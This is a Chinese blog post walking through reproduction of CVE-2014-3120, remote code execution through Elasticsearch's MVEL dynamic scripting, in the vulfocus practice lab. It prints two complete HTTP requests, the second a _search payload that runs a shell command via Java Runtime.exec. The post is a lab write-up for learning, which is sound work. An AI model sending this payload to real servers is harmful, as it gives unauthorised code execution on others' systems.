vulfocus——elasticsearch代码执行(CVE-2014-3120)

描述

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。

ElasticSearch默认配置是打开动态脚本功能的,因此用户可以直接使用http请求,通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

复现

1.打开靶场环境,会出现Elasticsearch的信息:

2.利用该漏洞的要求是在Elasticsearch中要有数据,所以首先需要使用ElasticSearch的目录创建数据,通过BurpSuite发送数据包:(橙色字体是需要需要注意修改的地方)

POST /website/blog HTTP/1.1
Host: 123.58.224.8:16674
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; JSESSIONID=85C6653ADC2833AFFF952324C3021915; PHPSESSID=83ble87an3ft9hskuv0u5tvlj3; NX-ANTI-CSRF-TOKEN=0.6148837831262616
Upgrade-Insecure-Requests: 1
Content-Length: 24

{
"name": "colleget"
}

3.返回201状态码,Create,创建成功

4.任意执行代码,将java代码放入json中,在请求体中,执行该java代码(json是一种数据格式)

POST /_search?pretty HTTP/1.1
Host: 123.58.224.8:16674
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; JSESSIONID=85C6653ADC2833AFFF952324C3021915; PHPSESSID=83ble87an3ft9hskuv0u5tvlj3; NX-ANTI-CSRF-TOKEN=0.6148837831262616
Upgrade-Insecure-Requests: 1
Content-Length: 363

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值